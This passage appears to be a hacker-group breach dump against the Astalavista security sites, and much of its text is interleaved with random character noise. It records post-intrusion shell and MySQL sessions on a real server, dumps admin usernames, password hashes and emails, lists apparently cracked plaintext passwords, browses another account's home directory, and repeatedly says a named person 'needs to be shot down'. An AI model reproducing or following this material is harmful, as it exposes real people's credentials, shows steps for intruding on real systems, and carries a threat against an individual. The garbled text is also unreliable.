2 m; O9 g4 \. X0 {0 G1 ^! s" i <language>en-us</language>
3 e+ Y) g0 ^. V) P( H$ ^* O <lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
8 X% X; h1 y( k- C( Q/ c7 L/ a <docs>http://blogs.law.harvard.edu/tech/rss</docs>
4 O2 ]2 V) ^0 `7 E+ }. V, ^ <generator>Astalavista.com</generator>, g5 \( N% l. k6 n/ A
<webMaster>info@astalavista.com</webMaster>’ . $items . ‘" S4 [( j& x5 g. a* l
</channel>
6 b6 S( K, {* w. w1 G- @</rss>’;! T* e6 l; {5 Z, W" V7 _
. _! f# c0 c, D2 x0 A( F0 H if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {9 S6 t) p- D' _& }- r0 P& {3 z) `3 B; J+ u
unlink (FULLPATH . ‘/feed/exploits.xml’);
$ z5 C2 I; g9 i& L* r; c }
6 s. g! @2 v/ ?9 k: u) A$ e& q7 ~- d" L& g h5 c0 ?
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);; z3 Q y% |, ]; x. \ m& x
[snip]
F& C$ N/ M: s$ W; s' B! K: m0 V% F" B6 {9 O
sh-3.2$ cat exploits.sh
. I Y5 u1 X6 w: C( v/ j#!/bin/sh9 f5 M; y5 J; @% m1 t8 o
- ~/ S3 ~/ k# q0 V: L6 k% P3 @
###########################################################' ~0 i" ], w3 t+ m7 s
# #
; Q U+ Q+ }5 z; D# Title: milw0rm exploits adder #5 {9 y# S& p# u$ X% ]( d7 T/ Q9 _
# Description: Add all milw0rm exploits to the #
. v. `# A& S# e# Astalavista.com database #1 m9 k3 N9 v! E
# #
8 A- Y: l/ A V q8 P, r# Company: Astalavista Group #2 k* O! s3 L9 q8 Y7 q
# Author: Paulo M. Santos #
' _8 } _( a# U i7 V2 r) g* }# E-Mail: 链接标记paulo.santos@astalavista.ch #
( B/ L# ]3 P; I4 P; E: Z# #3 @! f/ u1 @2 I& w% v
###########################################################
5 R0 e( X1 P" _ p& _$ E
7 R( Z" k; {! U# path( q2 |) p/ e8 d* d1 _; ?
this_path=/home/com/public_html/modifications/cronjobs
+ u. R5 } U$ |( _
+ I5 M V" k5 F, L- y) d# change directory' V' r; ~) @4 @5 e9 S6 `
cd $this_path3 E* w, ^) u4 ~1 O+ x/ }
cd tmp/' [. L1 G4 P" h# \' G. B1 B5 H" v* B
) r# |3 N. F) u% H) V4 q7 A, y
# delete files3 g3 i" }, j8 V& O) F/ |8 z
rm -rf milw0rm.tar.* &
3 \; ^ h5 H- s. }rm -rf milw0rm/ &
# {* d J7 ?1 d! Y, \. z7 n" l; Y" g, X3 O7 N- e2 @( Z
# wget milw0rm paket
5 c2 N2 m m! b- rwget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]8 Z- a; W3 q7 _% s+ W
' v5 U# Z" k0 a/ N& @8 a/ H
# extract milw0rm paket
/ e& H: @/ @- ^+ y$ a8 o& `* utar -xvf milw0rm.tar.bz25 H& C% A& q+ N1 c
8 {7 v' W* @6 Y5 ^# change owner! m) {2 l" p. ^ }2 p; x
chown -R com .: Z6 E( f& m# v) L- x" O+ i
chgrp -R com .& q6 g/ I# E6 ]% W1 I, r
4 N U7 @, c4 y. K1 s# execute php script
& I! `1 v3 i6 I6 g6 wcd $this_path7 I3 s' e4 D( q& n9 D1 Y% c* A$ J' o' f
php -q exploits.php
- D; L2 G6 K' } f, k# ~4 \1 e; E" l7 S4 J: f, ~
# delete files
' {9 f. _" W& k7 v9 _6 t" {7 m! brm -rf tmp/milw0rm.tar.*
) i( `. o, S1 e$ E% mrm -rf tmp/milw0rm/
8 x9 y- r' o. e6 ?. b
' |6 |; N5 o/ n# Ksh-3.2$ echo “Paulo M. Santos needs to be shot down.”: n+ C3 h9 R( p7 {1 C% j
Paulo M. Santos needs to be shot down.
/ `5 e' r& s0 P |+ X4 z/ ^$ M; \9 f& k& u1 y* {% T( t2 b
mysql -u contrexxuser2 -p
2 C3 B( L1 z4 }* x! I! fEnter password:" c& W: s S0 Q" D% `
Welcome to the MySQL monitor. Commands end with ; or \g.( v1 N3 t4 g/ G, m# x8 Z
Your MySQL connection id is 261694
, \* N: v U% G$ c% e& VServer version: 5.0.45-community-log MySQL Community Edition (GPL)
3 R& C1 X+ X; L
+ I( w) e$ D% C% C' eType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.0 A" \- i( t" \- n
- X! R) E3 e/ X* I5 @' smysql> show databases;8 p& T+ Z0 O, M3 a
+——————–+1 l c$ `3 } k$ a7 i3 Z! B
| Database |5 h' J4 }2 t" @4 c) j
+——————–+
$ J7 [3 t' D5 I" B2 D1 G- u4 E& a9 G| information_schema |
7 w d" i, y( O' m| com_contrexx2 |. H! q- f5 b: `) c, G
| com_contrexx2_live |: j9 f3 u$ e3 P- {/ E, B
| test |) F) R2 Y& @) y$ V. h3 P
+——————–+
* [# h1 ^* n' i' F, J: `; I4 rows in set (0.00 sec)' q- ^ _ F. b2 w1 `0 }' m# q
, I7 P* O5 \7 V4 f
mysql> use com_contrexx2_live
" O$ j9 c: ~; {; x/ SDatabase changed/ `+ t9 b$ o0 V/ Y' \' U2 }/ n
mysql> show tables;
% o4 L! X7 N& g2 M# ]+————————————————–+
; N9 Y9 K' f: G! w7 A| Tables_in_com_contrexx2_live |% k% _2 p# j X" w5 _. o* P8 q
+————————————————–+5 u1 ~0 ?) {5 c5 w4 e
| cc_banner_counter |0 p. R7 O: H$ g( ] t+ B
| cc_search_counter |. n# x6 r+ F' @
| contrexx_access_group_dynamic_ids |$ s1 D1 a' [4 ^# X0 w( h
| contrexx_access_group_static_ids |: A& e. A1 ` E# U" `* U T' M
| contrexx_access_rel_user_group |
0 Y) h" ]9 l9 f7 `| contrexx_access_settings |
$ _, h2 X: O$ s0 e6 Z+ C- R| contrexx_access_user_attribute |
4 e1 j% I4 y& Y5 t8 \| contrexx_access_user_attribute_name |: _2 ?8 }0 _3 W. l2 O8 e8 e3 b
| contrexx_access_user_attribute_value |2 U' i5 Y- ~% V
| contrexx_access_user_core_attribute |
2 F# j, i7 ^( h9 _| contrexx_access_user_groups |8 M1 l7 M( {+ K* A+ l7 I- u
| contrexx_access_user_mail |
4 b8 R C) h5 }: T4 R- L3 }| contrexx_access_user_profile |, \5 }& y! v/ p/ z* R6 f3 p8 R
| contrexx_access_user_title |3 |7 A9 y( K7 j8 V6 n
| contrexx_access_user_validity |
$ d7 H9 H& ^5 l| contrexx_access_users |
6 w4 o! G0 t5 ^! W3 `% X) S: G| contrexx_backend_areas |
4 W2 X3 @* \ d5 m/ m1 q( f| contrexx_backups |6 t; Z% k( J+ f6 T K/ _) f
| contrexx_content |
4 j/ y3 q, X: `: D0 R0 M! k1 r| contrexx_content_history |
5 E# m- y+ H; M s| contrexx_content_logfile |
! H6 n6 Y" Y# G' ]; n. Z| contrexx_content_navigation |
; Z; P2 @+ k! _5 t1 g8 k| contrexx_content_navigation_history |$ V z5 T! h7 S
| contrexx_ids |# x' `8 P) X* s0 ?
| contrexx_languages |
0 |% Z% t D. I: n- I" C+ X# ~| contrexx_lib_country |
6 _# y* k0 ^/ k* q1 o$ t| contrexx_log |" @' }, B6 d3 b0 L* A
| contrexx_module_alias_source |; j* I9 h* P! |
| contrexx_module_alias_target |' P L9 W! U1 X n1 v6 ?
| contrexx_module_block_blocks |
5 h6 U: z% V3 X4 V6 i. K* F% z| contrexx_module_block_rel_lang |
$ P5 \' n) z' ?7 ^; r r| contrexx_module_block_rel_pages |% K; c0 Y! F2 ?0 z6 l) c' C7 s
| contrexx_module_block_settings |" p! a, J/ G( T, y# w
| contrexx_module_blog_categories |& {- g+ D) q) K
| contrexx_module_blog_comments |
' ~6 o, Z9 d3 m* E7 L$ d| contrexx_module_blog_message_to_category |2 M9 v% b4 |0 S5 g/ S
| contrexx_module_blog_messages |, |7 Q3 f8 |. a% { }8 ^
| contrexx_module_blog_messages_lang |
1 p' \ K, S9 \4 }% |0 O| contrexx_module_blog_networks |
8 t- ^. A3 C. \0 ]7 e7 a. a$ g| contrexx_module_blog_networks_lang |/ y9 r h4 d& L4 D
| contrexx_module_blog_settings |$ }2 f3 G% D' I C# b4 x0 x# Z0 G
| contrexx_module_blog_votes |7 b9 _% Y! M" r
| contrexx_module_calendar |, ~# }, q- {5 E! Q% B" y
| contrexx_module_calendar_access |
. J/ R7 W, h: D. R9 J B| contrexx_module_calendar_categories |
5 A' F* |1 S. O+ U" Z| contrexx_module_calendar_form_data |
+ g5 g; w( x# W. y| contrexx_module_calendar_form_fields |
! u, r) K( J' _9 u/ ?| contrexx_module_calendar_registrations |2 I: ~" E5 @( C+ y. o
| contrexx_module_calendar_settings |
. D6 r% ?9 Q2 X z| contrexx_module_calendar_style |( b* m& u+ m, V" E, z
| contrexx_module_contact_form |
( l" p6 d8 x' }) Y5 a| contrexx_module_contact_form_data |
" y# W: k4 D& }| contrexx_module_contact_form_field |8 v+ B/ O; \& |5 C3 \5 m, G
| contrexx_module_contact_settings |/ N9 I6 S" Y& o* V8 Q+ ^5 [! f6 }* U
| contrexx_module_data_categories |
& R7 P/ N* {! G| contrexx_module_data_message_to_category |! Q1 M' y( ^7 V1 O
| contrexx_module_data_messages |5 s! T2 s: y4 p5 K
| contrexx_module_data_messages_lang |. l; G+ T% y" A4 n; E1 I2 m
| contrexx_module_data_placeholders |2 {2 p2 @8 Y; J, }
| contrexx_module_data_settings |
9 D0 K, n% s9 j/ |- c5 }9 j, o| contrexx_module_directory_access |" K |. I6 m0 P
| contrexx_module_directory_categories |
% [8 ~$ G" t4 q| contrexx_module_directory_dir |
. Y" _$ i7 _2 L2 w| contrexx_module_directory_inputfields |* m8 a# _! L0 K
| contrexx_module_directory_levels |
: m7 V; Z! ]$ E3 }6 m| contrexx_module_directory_mail |
7 ~2 r* B4 j8 s* l| contrexx_module_directory_rel_dir_cat |8 j) H/ ^! [0 U3 r# ^
| contrexx_module_directory_rel_dir_level |4 G: `8 M( o" H6 _
| contrexx_module_directory_settings |
- o: K1 k3 c5 q| contrexx_module_directory_settings_google |
6 W& Q0 j5 F& n| contrexx_module_directory_vote |2 b& R2 ?' q4 B6 H
| contrexx_module_docsys |
/ H, ^# c/ d* C& E0 G3 Y0 `| contrexx_module_docsys_categories |' f% y! V0 e3 z% S1 O
| contrexx_module_egov_configuration |1 O/ ^/ O- N K `* c \+ h# g3 r
| contrexx_module_egov_orders |8 v; V) G: g) ` H% M V) E% g
| contrexx_module_egov_product_calendar |
- V' a- W: B/ J+ h' P/ p( k/ Y- M| contrexx_module_egov_product_fields |# K% `" t8 g- f4 U! p0 ?: I* V* U
| contrexx_module_egov_products |3 {7 j/ j* t8 t7 K
| contrexx_module_egov_settings |) ?4 q+ U/ X5 |4 T
| contrexx_module_exploits |
& z6 N( t# G. P" {. ~5 `- Y: G- n( k| contrexx_module_exploits_categories |" u1 s7 k$ |& \9 u
| contrexx_module_feed_category |
4 w6 S0 c5 g: F2 r| contrexx_module_feed_news |
3 Y) w% k8 S/ _! a! |' n| contrexx_module_feed_newsml_association |
8 o @) [) T9 k1 g P| contrexx_module_feed_newsml_categories |' R& C/ d8 E, m7 ^ r, ]- _
| contrexx_module_feed_newsml_documents |
) w5 H. C" ^$ t+ [5 }| contrexx_module_feed_newsml_providers |
2 e/ `! p. {+ J1 \8 I6 i| contrexx_module_forum_access |
, c) z% v* C! E0 H+ `| contrexx_module_forum_categories |
% s- r" R7 Y, M Y5 W! l8 g| contrexx_module_forum_categories_lang |
% }/ W2 O6 }: e| contrexx_module_forum_notification |( k* ~6 R7 N% z6 Q, u! o# O
| contrexx_module_forum_postings |, ~6 {7 n6 w( t+ `4 _# t( b/ t
| contrexx_module_forum_rating |
4 P a2 @3 G6 V| contrexx_module_forum_settings |
! x: G8 E! K9 g* s6 h7 \| contrexx_module_forum_statistics |5 } H$ c9 b2 \* V3 m4 b
| contrexx_module_gallery_categories |5 ^7 ]1 } ?" A. g/ C% B( b- d
| contrexx_module_gallery_comments |
6 K K4 x! S% Y3 \| contrexx_module_gallery_language |
2 S; x% P: f+ g! z* j. U2 g| contrexx_module_gallery_language_pics |: c# O9 C6 m; y
| contrexx_module_gallery_pictures |
3 O6 x# ^( t( C, T| contrexx_module_gallery_settings |8 x; y; V% S ], u: U* w- L
| contrexx_module_gallery_votes |
7 h$ T q7 M. d, K- ~& I| contrexx_module_guestbook |
7 ]' J, k8 ~1 g# a7 L- ?/ K| contrexx_module_guestbook_settings |
o$ w" {+ r1 R| contrexx_module_livecam |- z6 M. a* M% N8 M+ C
| contrexx_module_livecam_settings |
' m6 o7 h' b$ [7 j| contrexx_module_market |* U( N% o" c; h* `) C3 h( U
| contrexx_module_market_access |
) C5 ~- y, e3 m& ~8 ~3 u3 E| contrexx_module_market_categories |, G6 \! T: P1 e% ?5 [
| contrexx_module_market_mail |' b5 u# G, b4 y( r) E. K( S
| contrexx_module_market_paypal |1 X; p) l+ p- e6 J" g
| contrexx_module_market_settings |
7 c3 A$ O5 [9 S6 C) t+ ]| contrexx_module_market_spez_fields |* ^4 f5 R0 `' @+ u. _/ W# c. l, j
| contrexx_module_mediadir_access |, ?/ J+ r7 o: ^* y8 L
| contrexx_module_mediadir_categories |
6 _3 _. E$ E0 k1 q7 z2 P7 G+ I/ \| contrexx_module_mediadir_comments |; j1 M2 ~0 J$ k+ P' R1 S
| contrexx_module_mediadir_dir |0 S2 j! X9 C; n* ~9 C
| contrexx_module_mediadir_inputfields |
5 R! h9 r8 Z$ s+ G1 C| contrexx_module_mediadir_levels |7 a+ C/ P. E9 V9 y1 x- n
| contrexx_module_mediadir_mail |
& Q; f6 \8 \! {( N0 n: o| contrexx_module_mediadir_rel_dir_cat |- k9 ]0 @2 L' S! _( d2 b: {
| contrexx_module_mediadir_rel_dir_level |
- A; b9 G0 t, p| contrexx_module_mediadir_reports |
& J) W" K9 S7 W7 D| contrexx_module_mediadir_settings |% ]6 x2 a2 y {. y
| contrexx_module_mediadir_settings_google |
" P1 F( ^/ W* m* {| contrexx_module_mediadir_vote |
# l0 T4 k1 F7 r8 Y! ?' L| contrexx_module_memberdir_directories |
% b% k5 i. g* j! ?" ?4 v| contrexx_module_memberdir_name |
& O( ?/ D! B: Q. X; E| contrexx_module_memberdir_settings |
7 J7 O3 _6 R: f5 `| contrexx_module_memberdir_values |
. B( G& I+ G* i2 R| contrexx_module_nettools_allowed_groups |
' K# \( { h$ P' x ?: H4 j| contrexx_module_nettools_settings |, |8 v# l5 x2 k: M5 r1 x n, f
| contrexx_module_news |
% G/ }7 h1 H( h( M( Z# z- R| contrexx_module_news_access |
0 Y) O( e& i* m" J* T m5 F| contrexx_module_news_categories |
! j3 ?. |1 v3 C: S/ B| contrexx_module_news_settings |
3 s0 V' N2 e9 C7 b| contrexx_module_news_teaser_frame |
5 L' S; r& Q3 P- U* ^! [- g, [5 k9 A| contrexx_module_news_teaser_frame_templates |7 n9 i6 Q6 d, {0 @3 v; \
| contrexx_module_news_ticker |& c7 S7 @" n0 A: L3 P) F
| contrexx_module_newsletter |
! k9 ~2 @4 x, `- g; s6 n6 _| contrexx_module_newsletter_attachment |
& |6 D6 l0 r' T+ }# k| contrexx_module_newsletter_category |
$ O' F- d+ V7 r1 D, ~9 n( k' X| contrexx_module_newsletter_confirm_mail |
" ^/ h5 }6 s8 ^3 m- P| contrexx_module_newsletter_rel_cat_news |* g- O/ k/ {. @# x( s
| contrexx_module_newsletter_rel_user_cat |
" d3 T" f. [0 Z) \6 Q9 r* [/ P| contrexx_module_newsletter_settings |
6 {" L& u4 C+ W9 Y7 ~: H| contrexx_module_newsletter_template |5 @) s# P/ t8 S$ \: O
| contrexx_module_newsletter_tmp_sending |: v1 b2 J3 B* A. S k% g, L. F
| contrexx_module_newsletter_user | y, T+ B9 x) U3 b, [
| contrexx_module_newsletter_user_title | T5 F6 y9 k3 o8 S' |! Z% g* ?. a
| contrexx_module_onlinetools_defaultports |
- A+ d0 J+ \' I( k, T| contrexx_module_onlinetools_defaultports_back |
9 Z0 C+ T, |# G" q* D- P! ]| contrexx_module_onlinetools_geolitecity_blocks |
+ L, G3 r/ _ t3 }2 Y0 u1 ~| contrexx_module_onlinetools_geolitecity_country |: A9 O! j! y2 _" Y. b
| contrexx_module_onlinetools_geolitecity_location |# z* r* l( T+ z' e, ^% Y
| contrexx_module_podcast_category |- \1 |! I/ T% O8 E+ J, a* s
| contrexx_module_podcast_medium |( W0 N; e {2 L2 N9 t
| contrexx_module_podcast_rel_category_lang |
: R3 {* k, _4 t) |0 ~5 X| contrexx_module_podcast_rel_medium_category |
, M3 s8 R9 [& E8 K8 D7 p3 [| contrexx_module_podcast_settings |
# N' z- l1 }" @- X( T- X| contrexx_module_podcast_template |
4 y- u, g8 a2 s! V0 F y| contrexx_module_proxydb |5 w h7 F8 X0 ?* Z
| contrexx_module_recommend |
2 H7 J" ?! [2 R+ S9 f2 g| contrexx_module_repository |+ y6 A' g7 P" o7 Z' w8 c. [
| contrexx_module_securitynews_cats |
7 } w! P4 L }9 G H+ n| contrexx_module_securitynews_feeds |
- l* c! a3 t7 j. C0 X. w| contrexx_module_securitynews_news |
, ]3 }8 N$ b( Q4 u" J1 V$ M. c) Y) _| contrexx_module_shop_categories |# ]6 o2 x2 Q- `. b! u
| contrexx_module_shop_config |
5 ~6 e: u8 Q, Y' I& A; a) v' J- _| contrexx_module_shop_countries |
0 y- k( A5 p( Z% S| contrexx_module_shop_currencies |
5 x1 A3 e8 @8 n, N| contrexx_module_shop_customers |
$ F9 i6 ^% _% x: K' {9 z. r# F| contrexx_module_shop_importimg |. F ]2 \$ q0 t' B( e
| contrexx_module_shop_lsv |" c8 Q9 r+ D( j- y5 A" h) Z
| contrexx_module_shop_mail |
3 h* P- g4 N# i& W4 R| contrexx_module_shop_mail_content |
a" ]0 {! \& L| contrexx_module_shop_manufacturer |/ p. s* O$ o j/ H; a2 g
| contrexx_module_shop_order_items |' {2 }4 a0 \1 u, T6 x* R
| contrexx_module_shop_order_items_attributes |
$ {' [: O0 E. F+ W# P- z| contrexx_module_shop_orders |7 P; V0 K7 w) w8 l
| contrexx_module_shop_payment |
7 m$ t/ t" R4 n7 z| contrexx_module_shop_payment_processors |2 p& t( {+ H9 C e. a+ D' u7 [
| contrexx_module_shop_pricelists |7 D! R$ g3 ?) \
| contrexx_module_shop_products |( |8 C# ]+ g6 x1 t5 _
| contrexx_module_shop_products_attributes |
: q! m I' Y8 ]& N# a5 w5 a| contrexx_module_shop_products_attributes_name |% @: a! o/ w# E/ ]2 N3 o7 i& H
| contrexx_module_shop_products_attributes_value |
$ Z8 I2 g& q( e( @8 e8 R- Y% ]| contrexx_module_shop_products_downloads |# T5 Z% F# C. }! z. I7 {& X) D
| contrexx_module_shop_rel_countries |
$ c( M- o3 ?; e( Z+ m( f1 G! R4 f; j| contrexx_module_shop_rel_payment |
6 l- s6 D2 r( q x- S, r) [. R& s3 {| contrexx_module_shop_rel_shipment |# d7 Z1 f7 G/ Q% }9 g
| contrexx_module_shop_shipment_cost |: F7 C2 M o3 [
| contrexx_module_shop_shipper |0 T' F, z9 x b7 M
| contrexx_module_shop_vat |* n3 ]& V2 S( Q" B) P! `* W% k
| contrexx_module_shop_zones |
( i9 h% M. Z3 t/ S' |7 d# ?: c( M| contrexx_module_u2u_address_list |
8 }" T. f# k; Y v% W7 z' P7 v/ K| contrexx_module_u2u_message_log |
) u- m8 G* W: O% ^" e| contrexx_module_u2u_sent_messages |* d/ a2 b0 w) E( u( N4 w3 L
| contrexx_module_u2u_settings |* h# _, S7 h, o ]
| contrexx_module_u2u_user_log |5 F/ `8 j3 R2 z& B0 |+ R8 R
| contrexx_modules |. g( P6 h5 s+ ?7 \6 }
| contrexx_sessions |7 F2 I8 d. g+ u) P! H+ u2 ?& {
| contrexx_settings |% K1 T3 M2 w: g! P: k3 s, N/ m' Z
| contrexx_settings_smtp |
* o1 T% |: O- M8 A7 t& m0 T7 r: \| contrexx_skins |
( v, }: w& N7 v: c/ o| contrexx_stats_browser |
& `4 r' H6 U- M4 [6 q| contrexx_stats_colourdepth |
: `4 z3 e. H9 S| contrexx_stats_config |
+ V3 `2 S o% N8 ^4 _| contrexx_stats_country |) c+ s$ T" |0 c- C0 \
| contrexx_stats_hostname |
% K* r- ^+ ?! x4 o| contrexx_stats_javascript |
6 s" f& g" e4 A9 |+ G# || contrexx_stats_operatingsystem |
' v3 i: y; l$ a" A| contrexx_stats_referer |" c2 H4 k- U3 H. w
| contrexx_stats_requests |
2 v! R2 W( S- p| contrexx_stats_requests_summary |! L9 z5 s9 w" |/ H# T
| contrexx_stats_screenresolution |
- y d, Y8 S3 v) |9 J, _- e| contrexx_stats_search |
7 b0 X1 ?- h! H5 F) }1 J| contrexx_stats_spiders |
. _5 B9 `1 b6 k2 }4 V1 K| contrexx_stats_spiders_summary |
( Y! E( x3 Z" k8 q7 a| contrexx_stats_visitors |" h: c9 N: N9 |. s8 F
| contrexx_stats_visitors_summary |
( w. o/ K$ R8 D% E+ [# [6 Y| contrexx_voting_additionaldata |: X" x F% p% @ j m, v7 e8 ~5 ?
| contrexx_voting_email |
$ _$ A, Y5 x5 T3 n& i3 f| contrexx_voting_rel_email_system |6 H0 X8 {) z" _1 w1 L) _- @& p( J
| contrexx_voting_results |/ |' {# D2 ?* O) H4 a9 j3 k7 n
| contrexx_voting_system |
7 P9 l. \ f K0 ^| foo |
; I* a1 y1 R9 L+————————————————–+
9 y: f, v! e3 h227 rows in set (0.01 sec)
6 o) C2 T7 @2 J7 O
' B! J" x0 \* a( v/ Gmysql> select count(*) as skids from contrexx_access_users;- t G% l/ B+ t# x* u! @. [8 z! o" q& m
+——-+
- S8 v, C. s C# ?, v! g3 [| skids |
9 l Q; g% y# c5 Z+ Y! F+——-+1 ~8 q3 v2 K) q9 d; d+ d
| 53699 |6 @- N+ i) Q6 m' o* e
+——-+* c6 @0 |) ^! a4 Y' a" u/ S$ h. `/ g1 ~
1 row in set (0.00 sec)' o0 M# p3 O4 v* [. ?
, ?) w% D1 o, Wmysql> describe contrexx_access_users;
5 K* m: B% W& m( h- V3 C: G, @( x+——————+——————————————+——+—–+————–+—————-+, w: ?9 C: c8 n3 e! K7 O) w
| Field | Type | Null | Key | Default | Extra |
5 L! k% s2 N P' D3 x# E+——————+——————————————+——+—–+————–+—————-+
2 u/ ?; g! |0 m7 \2 k: N| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
" W) w; H% y- f- d! B5 V& s| is_admin | tinyint(1) unsigned | NO | | 0 | |# v, R2 h* n& u$ R- _
| username | varchar(40) | YES | MUL | NULL | |
7 }* [" S* H- e| password | varchar(32) | YES | | NULL | |
% R& g8 Q. O- G) R! `& _' @| regdate | int(14) unsigned | NO | | 0 | |
3 s% _* h- P. }| expiration | int(14) unsigned | NO | | 0 | |
6 r# D0 Y$ J! k! S# F, @; y- t! x| validity | int(10) unsigned | NO | | 0 | |' z' ?' R& {! N1 X& u$ I7 K( n+ `
| last_auth | int(14) unsigned | NO | | 0 | |
& T+ }% m I% Y1 H5 q| last_activity | int(14) unsigned | NO | | 0 | |, m7 s3 n0 U2 H; f P6 X& x; o
| email | varchar(255) | YES | | NULL | |
& N! t5 q$ E: f# T2 {| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |0 E: P4 i+ N+ x5 `4 W: V; t
| frontend_lang_id | int(2) unsigned | NO | | 0 | |1 B2 q$ D7 T) I3 I
| backend_lang_id | int(2) unsigned | NO | | 0 | |
D1 G% y+ a# ]0 h, ^! D, _6 P! D| active | tinyint(1) | NO | | 0 | |# s7 M+ N/ l7 r3 O
| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
, D3 B9 S+ C$ D5 |0 u% f' T| restore_key | varchar(32) | NO | | | |
/ h# ]% R* |- C3 z" ^2 F7 c' || restore_key_time | int(14) unsigned | NO | | 0 | |, |9 {& {! ~- q0 a9 g
| u2u_active | enum(’0′,’1′) | NO | | 1 | |" F8 ?1 Y5 @5 B
+——————+——————————————+——+—–+————–+—————-+$ \' ?/ u: s, q
18 rows in set (0.00 sec); r" d# {3 a8 ~. g _4 f
! }2 q# u6 q6 `( l, C
mysql> select username,password,email from contrexx_access_users where is_admin = 1;
- m# D" x! i2 G. d; g6 Y: @+————+———————————-+—————————–+
& F6 W2 |: ~* h; B| username | password | email |
7 m# o- f- d# i( k4 ~ g+————+———————————-+—————————–++ ?9 p1 ]7 s0 B, X8 T1 i0 z
| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |1 h [5 ]$ T* {+ U
| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |
% E& H/ t% R7 k6 @$ o# ^| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
# t* t+ ~7 G' M0 d' z, L O| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |
) u9 N5 P$ _/ |( L+————+———————————-+—————————–+1 V9 A: p! o( j% X* r
4 rows in set (0.04 sec)
! h6 E: q( y D5 }% q
; B- |, J: R& Q) P3 I! p# D$ zmysql> exit;$ T1 C" p1 U# P0 [. s
Bye3 i' O2 n& O, \6 x& L" r0 i' _; I/ t
4 t( d" B8 e4 n; i[~] There you go, your “team of security and IT professionals” is a joke.
/ m: W$ a2 `5 o* V \: |2 a9 e/ f6 W" g- L+ m
+——————————+
5 g: D4 r' c: W) csystem:f82BN3+_*
- V! W: `$ e8 O3 V. u* k: YBe1er0ph0r:belerophor4astacom, Z& u' k* C& V
prozac:asta4cms!. T0 R% x1 A& c& g0 K$ l% C' v
commander:mpbdaagf6m! c1 ]8 I/ {4 @9 J
sykadul:ak29eral
5 f' q3 S' {/ Y1 \' ~+——————————+
) u. r6 [6 \) S7 f7 p% ? r
* N, D5 ]$ ^9 z+ h7 }' H1 M- i[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
* M' }: c, p. a6 `1 q3 V' ?6 v& E…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.
4 j1 o9 T6 }/ C* i# A2 Z Z2 m) C, f! c* k" z" ?: o: t9 X
[~] Lets move to astalavista.net now,
5 E u1 `/ S4 f$ }
( V( {2 D8 N0 f' `: g6 q( `4 qFrom <链接标记[url]https://www.astalavista.net/[/url]>:- v% n, x z8 U" p' ~$ R
>> Everyone knows that the best defense is a good offense.$ h. V5 v @/ |' s1 I& |9 ]
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.) J% h' b) n" w# X
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
- J' O6 N4 t+ j# _) r# R>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”
% F: D% Z. @' F& n( a4 r/ z/ A U! \% a8 P& I, U( ~
>> Go ahead, try and hack our server . in a completely legal way!1 |! k. c4 J9 Z) K7 r6 d
>> Learn by doing: We offer our members tricky tasks and challenges on an
8 @$ ]/ ?) C; N3 C- W' W) k>> ongoing basis so you can test your knowledge and abilities. You can also0 Q5 w f% {8 x1 @# c1 W2 Y
>> demonstrate what you.ve mastered by taking part in regular hacker contests
- g0 O3 }& {8 D! Q# e; W>> and war games" z+ J7 b( L# Y3 p
- @ W- C& u! b9 D3 a3 J0 `
[~] Lets take a look there, after all… they are hack-proof, aren’t they?!, b; C; _2 [: J( _- V( ^1 u1 K) S3 C
& g/ K0 m `$ x" E# q
[-] Tricky task: Find home dir of astalavista.net
" [( ?. `. Z. s5 I p. P
. I; G1 u9 E {, @" Zsh-3.2$ ls -la ~astanet
2 T4 A: z' P8 ^/ q5 F9 @; wtotal 48
6 a# T: x7 x7 [+ u( L, Odrwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .2 X4 v& I2 u/ b8 U* }- Y. A/ Q+ T
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
; p8 g3 G4 S1 W6 Z9 G9 v7 U0 n2 X( bdrwxr-xr-x 2 root root 4096 Dec 23 16:00 auth' S( N8 ?! G6 x+ s
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history# Y. `1 ^; Y3 b0 D* ^! t5 }, e
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout* A# W% w! m: y X- J! d a
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
+ Z+ f# y9 _6 p$ e( z( `$ N-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc& g) V2 ^: A, p: ]9 m. I* `
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
4 Y3 u3 k+ R# m! Q5 Zdrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
& `6 A/ v* @5 p/ i0 j, k) adrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail( i/ U0 ^5 P* _% w0 P. Z* M, E
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html' L) S" O3 Z1 F9 G, j* r0 _, S
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
0 a3 ]- b' i/ v2 B5 }7 S% V
; I4 M A7 J# [! r( ^8 Qsh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
7 n$ @7 U- t2 b/ o! j4 `9 R9 v, bsh-3.2$ ls -la+ L& E" f# V& t: c0 O2 d0 D
total 200
; s. k/ J3 o9 N: Q$ p( a4 g# Adrwxr-x— 29 astanet apache 4096 Jan 6 13:58 .
+ N1 J& x, K* M) Ldrwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..
